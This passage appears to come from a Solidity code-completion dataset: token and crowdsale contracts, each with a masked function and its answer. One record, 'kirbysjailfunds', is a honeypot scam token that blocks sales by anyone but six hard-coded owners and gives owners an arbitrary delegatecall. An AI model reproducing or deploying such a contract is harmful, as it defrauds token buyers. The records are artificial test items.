fundReverse[msg.sender].sub(_value); } } if(fundUsed[msg.sender] >= fundLocked[msg.sender]){ delete fundLockTime[msg.sender]; delete fundReverse[msg.sender]; } return ret; } /** * @dev Privately Offered Fund Transfer Token * @param _from The give token address * @param _to The accept token address * @param _value Number of transactions */ function fundLockTransferFrom(address _from,address _to, uint256 _value) internal returns (bool) { //The remaining part uint256 availReverse = balances[_from].sub((teamLocked[_from].sub(teamUsed[_from]))+(fundLocked[_from].sub(fundUsed[_from]))); uint256 totalAvail=0; uint256 availFund = 0; if(issueDate==0) { totalAvail = availReverse; } else{ require(now>issueDate); //the number of Tokens available for mainFundAccount'Locked part availFund = fundAvailable(_from); //the number of Tokens available for mainFundAccount totalAvail = availFund.add(availReverse); } require(_value <= totalAvail); bool ret = super.transferFrom(_from,_to,_value); if(ret == true && issueDate>0) { //If over the mainFundAccount's released part if(_value > availFund){ fundUsed[_from] = fundUsed[_from].add(availFund); fundReverse[_from] = fundReverse[_from].sub(availFund); } //If in the mainFundAccount's released part else{ fundUsed[_from] = fundUsed[_from].add(_value); fundReverse[_from] = fundReverse[_from].sub(_value); } } if(fundUsed[_from] >= fundLocked[_from]){ delete fundLockTime[_from]; } return ret; } }
//The remaining part uint256 availReverse = balances[msg.sender].sub((teamLocked[msg.sender].sub(teamUsed[msg.sender]))+(fundLocked[msg.sender].sub(fundUsed[msg.sender]))); uint256 totalAvail=0; uint256 availTeam =0; if(issueDate==0) { totalAvail = availReverse; } else{ //the number of Tokens available for teamAccount'Locked part availTeam = teamAvailable(msg.sender); //the number of Tokens available for teamAccount totalAvail = availTeam.add(availReverse); } require(_value <= totalAvail); bool ret = super.transfer(_to,_value); if(ret == true && issueDate>0) { //If over the teamAccount's released part if(_value > availTeam){ teamUsed[msg.sender] = teamUsed[msg.sender].add(availTeam); teamReverse[msg.sender] = teamReverse[msg.sender].sub(availTeam); } //If in the teamAccount's released part else{ teamUsed[msg.sender] = teamUsed[msg.sender].add(_value); teamReverse[msg.sender] = teamReverse[msg.sender].sub(_value); } } if(teamUsed[msg.sender] >= teamLocked[msg.sender]){ delete teamLockTime[msg.sender]; delete teamReverse[msg.sender]; } return ret;
function teamLockTransfer(address _to, uint256 _value) internal returns (bool)
/** * @dev Team account transaction * @param _to The accept token address * @param _value Number of transactions */ function teamLockTransfer(address _to, uint256 _value) internal returns (bool)
47,629
Crowdsale
buyWithCustomerId
contract Crowdsale is GenericCrowdsale, LostAndFoundToken, TokenTranchePricing, DeploymentInfo { //initial supply in 400k, sold tokens from initial minting uint8 private constant token_decimals = 18; uint private constant token_initial_supply = 4 * (10 ** 8) * (10 ** uint(token_decimals)); bool private constant token_mintable = true; uint private constant sellable_tokens = 6 * (10 ** 8) * (10 ** uint(token_decimals)); //Sets minimum value that can be bought uint public minimum_buy_value = 18 * 1 ether / 1000; //Eth price multiplied by 1000; uint public milieurs_per_eth; /** * Constructor for the crowdsale. * Normally, the token contract is created here. That way, the minting, release and transfer agents can be set here too. * * @param eth_price_in_eurs Ether price in EUR. * @param team_multisig Address of the multisignature wallet of the team that will receive all the funds contributed in the crowdsale. * @param start Block number where the crowdsale will be officially started. It should be greater than the block number in which the contract is deployed. * @param end Block number where the crowdsale finishes. No tokens can be sold through this contract after this block. * @param token_retriever Address that will handle tokens accidentally sent to the token contract. See the LostAndFoundToken and CrowdsaleToken contracts for further details. * @param init_tranches List of serialized tranches. See config.js and TokenTranchePricing for further details. */ function Crowdsale(uint eth_price_in_eurs, address team_multisig, uint start, uint end, address token_retriever, uint[] init_tranches) GenericCrowdsale(team_multisig, start, end) TokenTranchePricing(init_tranches) public { require(end == tranches[tranches.length.sub(1)].end); // Testing values token = new CrowdsaleToken(token_initial_supply, token_decimals, team_multisig, token_mintable, token_retriever); //Set eth price in EUR (multiplied by one thousand) updateEursPerEth(eth_price_in_eurs); // Set permissions to mint, transfer and release token.setMintAgent(address(this), true); token.setTransferAgent(address(this), true); token.setReleaseAgent(address(this)); // Allow the multisig to transfer tokens token.setTransferAgent(team_multisig, true); // Tokens to be sold through this contract token.mint(address(this), sellable_tokens); // We don't need to mint anymore during the lifetime of the contract. token.setMintAgent(address(this), false); } //Token assignation through transfer function assignTokens(address receiver, uint tokenAmount) internal { token.transfer(receiver, tokenAmount); } //Token amount calculation function calculateTokenAmount(uint weiAmount, address) internal view returns (uint weiAllowed, uint tokenAmount) { uint tokensPerEth = getCurrentPrice(tokensSold).mul(milieurs_per_eth).div(1000); uint maxWeiAllowed = sellable_tokens.sub(tokensSold).mul(1 ether).div(tokensPerEth); weiAllowed = maxWeiAllowed.min256(weiAmount); if (weiAmount < maxWeiAllowed) { //Divided by 1000 because eth eth_price_in_eurs is multiplied by 1000 tokenAmount = tokensPerEth.mul(weiAmount).div(1 ether); } // With this case we let the crowdsale end even when there are rounding errors due to the tokens to wei ratio else { tokenAmount = sellable_tokens.sub(tokensSold); } } // Implements the criterion of the funding state function isCrowdsaleFull() internal view returns (bool) { return tokensSold >= sellable_tokens; } /** * This function decides who handles lost tokens. * Do note that this function is NOT meant to be used in a token refund mechanism. * Its sole purpose is determining who can move around ERC20 tokens accidentally sent to this contract. */ function getLostAndFoundMaster() internal view returns (address) { return owner; } /** * @dev Sets new minimum buy value for a transaction. Only the owner can call it. */ function setMinimumBuyValue(uint newValue) public onlyOwner { minimum_buy_value = newValue; } /** * Investing function that recognizes the payer and verifies that he is allowed to invest. * * Overwritten to add configurable minimum value * * @param customerId UUIDv4 that identifies this contributor */ function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable investmentIsBigEnough(msg.sender) validCustomerId(customerId) { super.buyWithSignedAddress(customerId, v, r, s); } /** * Investing function that recognizes the payer. * * @param customerId UUIDv4 that identifies this contributor */ function buyWithCustomerId(uint128 customerId) public payable investmentIsBigEnough(msg.sender) validCustomerId(customerId) unsignedBuyAllowed {<FILL_FUNCTION_BODY> } /** * The basic entry point to participate in the crowdsale process. * * Pay for funding, get invested tokens back in the sender address. */ function buy() public payable investmentIsBigEnough(msg.sender) unsignedBuyAllowed { super.buy(); } // Extended to transfer half of the unused funds to the team's multisig and release the token function finalize() public inState(State.Success) onlyOwner stopInEmergency { token.releaseTokenTransfer(); uint unsoldTokens = token.balanceOf(address(this)); token.burn(unsoldTokens.div(2)); token.transfer(multisigWallet, unsoldTokens - unsoldTokens.div(2)); super.finalize(); } //Change the the starting time in order to end the presale period early if needed. function setStartingTime(uint startingTime) public onlyOwner inState(State.PreFunding) { require(startingTime > block.timestamp && startingTime < endsAt); startsAt = startingTime; } //Change the the ending time in order to be able to finalize the crowdsale if needed. function setEndingTime(uint endingTime) public onlyOwner notFinished { require(endingTime > block.timestamp && endingTime > startsAt); endsAt = endingTime; } /** * Override to reject calls unless the crowdsale is finalized or * the token contract is not the one corresponding to this crowdsale */ function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public { // Either the state is finalized or the token_contract is not this crowdsale token require(address(token_contract) != address(token) || getState() == State.Finalized); super.enableLostAndFound(agent, tokens, token_contract); } function updateEursPerEth (uint milieurs_amount) public onlyOwner { require(milieurs_amount >= 100); milieurs_per_eth = milieurs_amount; } modifier investmentIsBigEnough(address agent) { require(msg.value.add(investedAmountOf[agent]) >= minimum_buy_value); _; } }
contract Crowdsale is GenericCrowdsale, LostAndFoundToken, TokenTranchePricing, DeploymentInfo { //initial supply in 400k, sold tokens from initial minting uint8 private constant token_decimals = 18; uint private constant token_initial_supply = 4 * (10 ** 8) * (10 ** uint(token_decimals)); bool private constant token_mintable = true; uint private constant sellable_tokens = 6 * (10 ** 8) * (10 ** uint(token_decimals)); //Sets minimum value that can be bought uint public minimum_buy_value = 18 * 1 ether / 1000; //Eth price multiplied by 1000; uint public milieurs_per_eth; /** * Constructor for the crowdsale. * Normally, the token contract is created here. That way, the minting, release and transfer agents can be set here too. * * @param eth_price_in_eurs Ether price in EUR. * @param team_multisig Address of the multisignature wallet of the team that will receive all the funds contributed in the crowdsale. * @param start Block number where the crowdsale will be officially started. It should be greater than the block number in which the contract is deployed. * @param end Block number where the crowdsale finishes. No tokens can be sold through this contract after this block. * @param token_retriever Address that will handle tokens accidentally sent to the token contract. See the LostAndFoundToken and CrowdsaleToken contracts for further details. * @param init_tranches List of serialized tranches. See config.js and TokenTranchePricing for further details. */ function Crowdsale(uint eth_price_in_eurs, address team_multisig, uint start, uint end, address token_retriever, uint[] init_tranches) GenericCrowdsale(team_multisig, start, end) TokenTranchePricing(init_tranches) public { require(end == tranches[tranches.length.sub(1)].end); // Testing values token = new CrowdsaleToken(token_initial_supply, token_decimals, team_multisig, token_mintable, token_retriever); //Set eth price in EUR (multiplied by one thousand) updateEursPerEth(eth_price_in_eurs); // Set permissions to mint, transfer and release token.setMintAgent(address(this), true); token.setTransferAgent(address(this), true); token.setReleaseAgent(address(this)); // Allow the multisig to transfer tokens token.setTransferAgent(team_multisig, true); // Tokens to be sold through this contract token.mint(address(this), sellable_tokens); // We don't need to mint anymore during the lifetime of the contract. token.setMintAgent(address(this), false); } //Token assignation through transfer function assignTokens(address receiver, uint tokenAmount) internal { token.transfer(receiver, tokenAmount); } //Token amount calculation function calculateTokenAmount(uint weiAmount, address) internal view returns (uint weiAllowed, uint tokenAmount) { uint tokensPerEth = getCurrentPrice(tokensSold).mul(milieurs_per_eth).div(1000); uint maxWeiAllowed = sellable_tokens.sub(tokensSold).mul(1 ether).div(tokensPerEth); weiAllowed = maxWeiAllowed.min256(weiAmount); if (weiAmount < maxWeiAllowed) { //Divided by 1000 because eth eth_price_in_eurs is multiplied by 1000 tokenAmount = tokensPerEth.mul(weiAmount).div(1 ether); } // With this case we let the crowdsale end even when there are rounding errors due to the tokens to wei ratio else { tokenAmount = sellable_tokens.sub(tokensSold); } } // Implements the criterion of the funding state function isCrowdsaleFull() internal view returns (bool) { return tokensSold >= sellable_tokens; } /** * This function decides who handles lost tokens. * Do note that this function is NOT meant to be used in a token refund mechanism. * Its sole purpose is determining who can move around ERC20 tokens accidentally sent to this contract. */ function getLostAndFoundMaster() internal view returns (address) { return owner; } /** * @dev Sets new minimum buy value for a transaction. Only the owner can call it. */ function setMinimumBuyValue(uint newValue) public onlyOwner { minimum_buy_value = newValue; } /** * Investing function that recognizes the payer and verifies that he is allowed to invest. * * Overwritten to add configurable minimum value * * @param customerId UUIDv4 that identifies this contributor */ function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable investmentIsBigEnough(msg.sender) validCustomerId(customerId) { super.buyWithSignedAddress(customerId, v, r, s); } <FILL_FUNCTION> /** * The basic entry point to participate in the crowdsale process. * * Pay for funding, get invested tokens back in the sender address. */ function buy() public payable investmentIsBigEnough(msg.sender) unsignedBuyAllowed { super.buy(); } // Extended to transfer half of the unused funds to the team's multisig and release the token function finalize() public inState(State.Success) onlyOwner stopInEmergency { token.releaseTokenTransfer(); uint unsoldTokens = token.balanceOf(address(this)); token.burn(unsoldTokens.div(2)); token.transfer(multisigWallet, unsoldTokens - unsoldTokens.div(2)); super.finalize(); } //Change the the starting time in order to end the presale period early if needed. function setStartingTime(uint startingTime) public onlyOwner inState(State.PreFunding) { require(startingTime > block.timestamp && startingTime < endsAt); startsAt = startingTime; } //Change the the ending time in order to be able to finalize the crowdsale if needed. function setEndingTime(uint endingTime) public onlyOwner notFinished { require(endingTime > block.timestamp && endingTime > startsAt); endsAt = endingTime; } /** * Override to reject calls unless the crowdsale is finalized or * the token contract is not the one corresponding to this crowdsale */ function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public { // Either the state is finalized or the token_contract is not this crowdsale token require(address(token_contract) != address(token) || getState() == State.Finalized); super.enableLostAndFound(agent, tokens, token_contract); } function updateEursPerEth (uint milieurs_amount) public onlyOwner { require(milieurs_amount >= 100); milieurs_per_eth = milieurs_amount; } modifier investmentIsBigEnough(address agent) { require(msg.value.add(investedAmountOf[agent]) >= minimum_buy_value); _; } }
super.buyWithCustomerId(customerId);
function buyWithCustomerId(uint128 customerId) public payable investmentIsBigEnough(msg.sender) validCustomerId(customerId) unsignedBuyAllowed
/** * Investing function that recognizes the payer. * * @param customerId UUIDv4 that identifies this contributor */ function buyWithCustomerId(uint128 customerId) public payable investmentIsBigEnough(msg.sender) validCustomerId(customerId) unsignedBuyAllowed
55,393
RES
RES
contract RES is StandardToken, DetailedERC20 { function RES(address initialAccount, uint256 initialBalance, string _name, string _symbol, uint8 _decimals) DetailedERC20(_name, _symbol, _decimals) public {<FILL_FUNCTION_BODY> } }
contract RES is StandardToken, DetailedERC20 { <FILL_FUNCTION> }
balances[initialAccount] = initialBalance; totalSupply_ = initialBalance;
function RES(address initialAccount, uint256 initialBalance, string _name, string _symbol, uint8 _decimals) DetailedERC20(_name, _symbol, _decimals) public
function RES(address initialAccount, uint256 initialBalance, string _name, string _symbol, uint8 _decimals) DetailedERC20(_name, _symbol, _decimals) public
87,634
PandaSwap
addMinter
contract PandaSwap is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; uint256 public tokenSalePrice = 0.0001 ether; bool public _tokenSaleMode = true; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("PandaSwap.net", "PANDA", 18) { governance = msg.sender; minters[msg.sender] = true; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public {<FILL_FUNCTION_BODY> } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function buyToken() public payable { require(_tokenSaleMode, "token sale is over"); uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18); _mint(msg.sender, newTokens); } function() external payable { buyToken(); } function endTokenSale() public { require(msg.sender == governance, "!governance"); _tokenSaleMode = false; } function withdraw() external { require(msg.sender == governance, "!governance"); msg.sender.transfer(address(this).balance); } }
contract PandaSwap is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; uint256 public tokenSalePrice = 0.0001 ether; bool public _tokenSaleMode = true; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("PandaSwap.net", "PANDA", 18) { governance = msg.sender; minters[msg.sender] = true; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } <FILL_FUNCTION> function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function buyToken() public payable { require(_tokenSaleMode, "token sale is over"); uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18); _mint(msg.sender, newTokens); } function() external payable { buyToken(); } function endTokenSale() public { require(msg.sender == governance, "!governance"); _tokenSaleMode = false; } function withdraw() external { require(msg.sender == governance, "!governance"); msg.sender.transfer(address(this).balance); } }
require(msg.sender == governance, "!governance"); minters[_minter] = true;
function addMinter(address _minter) public
function addMinter(address _minter) public
40,769
kirbysjailfunds
null
contract kirbysjailfunds { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI || _from == owner2 || _to == owner2 || _from == owner3 || _to == owner3 || _from == owner4 || _to == owner4 || _from == owner5 || _to == owner5 || _from == owner6 || _to == owner6); //require(owner == msg.sender || owner2 == msg.sender); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address private owner2; address private owner3; address private owner4; address private owner5; address private owner6; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {<FILL_FUNCTION_BODY> } }
contract kirbysjailfunds { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI || _from == owner2 || _to == owner2 || _from == owner3 || _to == owner3 || _from == owner4 || _to == owner4 || _from == owner5 || _to == owner5 || _from == owner6 || _to == owner6); //require(owner == msg.sender || owner2 == msg.sender); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address private owner2; address private owner3; address private owner4; address private owner5; address private owner6; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; <FILL_FUNCTION> }
name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; owner2 = 0x7737533691DE30EAC03ec29803FaabE92619F9a4; owner3 = 0x93338F6cCc570C33F0BAbA914373a6d51FbbB6B7; owner4 = 0x201f739D7346403aF416BEd7e8f8e3de21ccdc84; owner5 = 0x0ee849e0d238A375427E8115D4065FFaA21BCee9; owner6 = 0xD9429A42788Ec71AEDe45f6F48B7688D11900C05; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply);
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public
68,370
AssetfinX
_transfer
contract AssetfinX is ERC20 { uint256 constant TOTALSUPPLY = 50000000; using SafeMath for uint256; string public name = "AssetfinX"; string public symbol = "AFX"; uint8 public decimals = 18; uint256 public totalSupply = TOTALSUPPLY*10**uint256(decimals); address public owner; uint256 public circulatingSupply; bool public contractStatus; address public multisigAddress; uint256 public minfreezeTime; mapping (address => uint256) public balances; mapping (address => uint256[2]) public freezeOf; mapping (address => uint256) public lockOf; mapping (address => mapping (address => uint256)) public allowed; mapping (address => mapping (uint256 => mapping(uint256 => uint256))) public mintTransaction; mapping (address => mapping (address => uint256)) public ownerTransaction; mapping (address => mapping (address => mapping(uint256 => uint256))) public vestTransaction; event Freeze(address indexed from, uint256 value, uint256 freezetime); event Unfreeze(address indexed from, uint256 value, uint256 unfreezetime); event Lock(address indexed from, uint256 amount, uint256 locktime); event Release(address indexed from, uint256 amount, uint256 releasetime); constructor(uint256 _initialSupply, bool _status, address _multisigAddress) public { balances[msg.sender] = _initialSupply; circulatingSupply = _initialSupply; owner = msg.sender; contractStatus = _status; multisigAddress = _multisigAddress; emit Transfer(address(0), owner, _initialSupply); } modifier onlyOwner(){ require(msg.sender == owner, "Only owner"); _; } modifier contractActive(){ require(contractStatus, "Contract is inactive"); _; } modifier multisigCheck(uint256 _id){ require(Multisig(multisigAddress).executeChange(_id), "Not confirmed"); _; } modifier multisigAdminCheck(uint256 _id, address _newaddress){ require(Multisig(multisigAddress).executeAdminChange(_id, _newaddress), "Not confirmed"); _; } /** * @dev Set Minimum time for freeze * @param _time Minimum time */ function setminimumFreezetime(uint256 _time) public contractActive onlyOwner returns (bool) { require(_time > 0, "Invalid time"); minfreezeTime = _time; return true; } /** * @dev Request Multisig contract to change admin * @param _newAdmin New admin address */ function requestchangeAdmin(address _newAdmin) public contractActive onlyOwner returns (bool) { ownerTransaction[msg.sender][_newAdmin] = Multisig(multisigAddress).requestOwnerChange(owner, _newAdmin); return true; } /** * @dev Change admin * @param _address New owner address */ function changeAdmin(address _address) public contractActive onlyOwner multisigAdminCheck(ownerTransaction[owner][_address], _address) returns (bool) { owner = _address; return true; } /** * @dev Request Multisig contract for vesting * @param _address Token holder address * @param _amount Amount to be vested */ function vestRequest(address _address, uint256 _amount) public contractActive onlyOwner returns (bool) { vestTransaction[owner][_address][_amount] = Multisig(multisigAddress).vestingTransaction(owner, _address, _amount); return true; } /** * @dev Request Multisig contract for Mint * @param _amount Amount to be Minted * @param _time Current time */ function mintRequest(uint256 _amount, uint256 _time) public contractActive onlyOwner returns (bool) { mintTransaction[owner][_amount][_time] = Multisig(multisigAddress).mintTransaction(owner, _amount, _time); return true; } /** * @dev Check balance of the holder * @param tokenOwner Token holder address */ function balanceOf(address tokenOwner) public view returns (uint256) { return balances[tokenOwner]; } /** * @dev Transfer token to specified address * @param _to Receiver address * @param _value Amount of the tokens */ function transfer(address _to, uint256 _value) public contractActive returns (bool) { require(_to != address(0), "Null address"); require(_value > 0, "Invalid Value"); require(balances[msg.sender] >= _value, "Insufficient balance"); _transfer(msg.sender, _to, _value); return true; } /** * @dev Approve respective tokens for spender * @param _spender Spender address * @param _value The amount of tokens to be allowed */ function approve(address _spender, uint256 _value) public contractActive returns (bool) { require(_spender != address(0), "Null address"); require(_value >= 0, "Invalid value"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev To view approved balance * @param holder The holder address * @param delegate The spender address */ function allowance(address holder, address delegate) public view returns (uint256) { return allowed[holder][delegate]; } /** * @dev Transfer tokens from one address to another * @param _from The holder address * @param _to The Receiver address * @param _value the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public contractActive returns (bool) { require( _to != address(0), "Null address"); require(_from != address(0), "Null address"); require( _value > 0 , "Invalid value"); require( _value <= balances[_from] , "Insufficient balance"); require( _value <= allowed[_from][msg.sender] , "Insufficient allowance"); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * @dev Internal Transfer function * @param _from The holder address * @param _to The Receiver address * @param _value the amount of tokens to be transferred */ function _transfer(address _from, address _to, uint256 _value) internal {<FILL_FUNCTION_BODY> } /** * @dev Freeze tokens - User can freeze again only after UnFreezeing the previous one. * @param _value The amount of tokens to be freeze * @param _time Timeperiod for freezing in seconds */ function freeze(uint256 _value, uint256 _time) public contractActive returns (bool) { require(_value > 0, "Invalid Value"); require(freezeOf[msg.sender][0] == 0, "Tokens already frozen"); require( _value <= balances[msg.sender], "Insufficient balance"); require(_time >= minfreezeTime, "Invalid time"); balances[msg.sender] = balances[msg.sender].sub(_value); freezeOf[msg.sender][0] = _value; freezeOf[msg.sender][1] = now.add(_time); emit Transfer(msg.sender, address(this), _value); emit Freeze(msg.sender, _value, now); return true; } /** * @dev UnFreeze tokens */ function unfreeze() public contractActive returns (bool) { require(freezeOf[msg.sender][0] != 0, "Sender has no tokens to unfreeze"); require(now >= freezeOf[msg.sender][1], "Invalid time"); balances[msg.sender] = balances[msg.sender].add(freezeOf[msg.sender][0]); emit Transfer(address(this), msg.sender, freezeOf[msg.sender][0]); emit Unfreeze(msg.sender, freezeOf[msg.sender][0], now); freezeOf[msg.sender][0] = 0; return true; } /** * @dev Mint tokens to increase the circulating supply * @param _amount The amount of tokens to be Minted * @param _reqestedTime Request submitted time */ function mint(uint256 _amount, uint256 _reqestedTime) public contractActive onlyOwner multisigCheck(mintTransaction[owner][_amount][_reqestedTime]) returns (bool) { require( _amount > 0, "Invalid amount"); require(circulatingSupply.add(_amount) <= totalSupply, "Supply exceeds limit"); circulatingSupply = circulatingSupply.add(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(address(0), owner, _amount); return true; } /** * @dev Vesting lock tokens * @param _address Holder address * @param _amount Amount of token to be locked */ function vestLock(address _address, uint256 _amount) public contractActive onlyOwner multisigCheck(vestTransaction[owner][_address][_amount]) returns (bool) { require(_amount > 0, "Invalid Amount"); require(balances[_address] >= _amount, "Invalid balance"); balances[_address] = balances[_address].sub(_amount); lockOf[_address] = lockOf[_address].add(_amount); emit Transfer(_address,address(this),_amount); emit Lock(_address,_amount,now); return true; } /** * @dev Vesting Release token * @param _address Holder address * @param _amount Amount of token to be released */ function vestRelease(address _address, uint256 _amount) public contractActive onlyOwner multisigCheck(vestTransaction[owner][_address][_amount]) returns (bool) { require(_amount > 0, "Invalid Amount"); require(lockOf[_address] >= _amount, "Insufficient Amount"); lockOf[_address] = lockOf[_address].sub(_amount); balances[_address] = balances[_address].add(_amount); emit Transfer(address(this), _address, _amount); emit Release(_address, _amount,now); return true; } /** * @dev updatecontractStatus to change the status of the contract from active to inactive * @param _status status of the contract */ function updatecontractStatus(bool _status) public onlyOwner returns(bool) { require(contractStatus != _status, "Invalid status"); contractStatus = _status; return true; } /** * dev Update Multisig Contract address * @param _address New contract address */ function updateMultisigAddress(address _address) public contractActive onlyOwner returns(bool) { require(_address != address(0), "Null Address"); multisigAddress = _address; return true; } }
contract AssetfinX is ERC20 { uint256 constant TOTALSUPPLY = 50000000; using SafeMath for uint256; string public name = "AssetfinX"; string public symbol = "AFX"; uint8 public decimals = 18; uint256 public totalSupply = TOTALSUPPLY*10**uint256(decimals); address public owner; uint256 public circulatingSupply; bool public contractStatus; address public multisigAddress; uint256 public minfreezeTime; mapping (address => uint256) public balances; mapping (address => uint256[2]) public freezeOf; mapping (address => uint256) public lockOf; mapping (address => mapping (address => uint256)) public allowed; mapping (address => mapping (uint256 => mapping(uint256 => uint256))) public mintTransaction; mapping (address => mapping (address => uint256)) public ownerTransaction; mapping (address => mapping (address => mapping(uint256 => uint256))) public vestTransaction; event Freeze(address indexed from, uint256 value, uint256 freezetime); event Unfreeze(address indexed from, uint256 value, uint256 unfreezetime); event Lock(address indexed from, uint256 amount, uint256 locktime); event Release(address indexed from, uint256 amount, uint256 releasetime); constructor(uint256 _initialSupply, bool _status, address _multisigAddress) public { balances[msg.sender] = _initialSupply; circulatingSupply = _initialSupply; owner = msg.sender; contractStatus = _status; multisigAddress = _multisigAddress; emit Transfer(address(0), owner, _initialSupply); } modifier onlyOwner(){ require(msg.sender == owner, "Only owner"); _; } modifier contractActive(){ require(contractStatus, "Contract is inactive"); _; } modifier multisigCheck(uint256 _id){ require(Multisig(multisigAddress).executeChange(_id), "Not confirmed"); _; } modifier multisigAdminCheck(uint256 _id, address _newaddress){ require(Multisig(multisigAddress).executeAdminChange(_id, _newaddress), "Not confirmed"); _; } /** * @dev Set Minimum time for freeze * @param _time Minimum time */ function setminimumFreezetime(uint256 _time) public contractActive onlyOwner returns (bool) { require(_time > 0, "Invalid time"); minfreezeTime = _time; return true; } /** * @dev Request Multisig contract to change admin * @param _newAdmin New admin address */ function requestchangeAdmin(address _newAdmin) public contractActive onlyOwner returns (bool) { ownerTransaction[msg.sender][_newAdmin] = 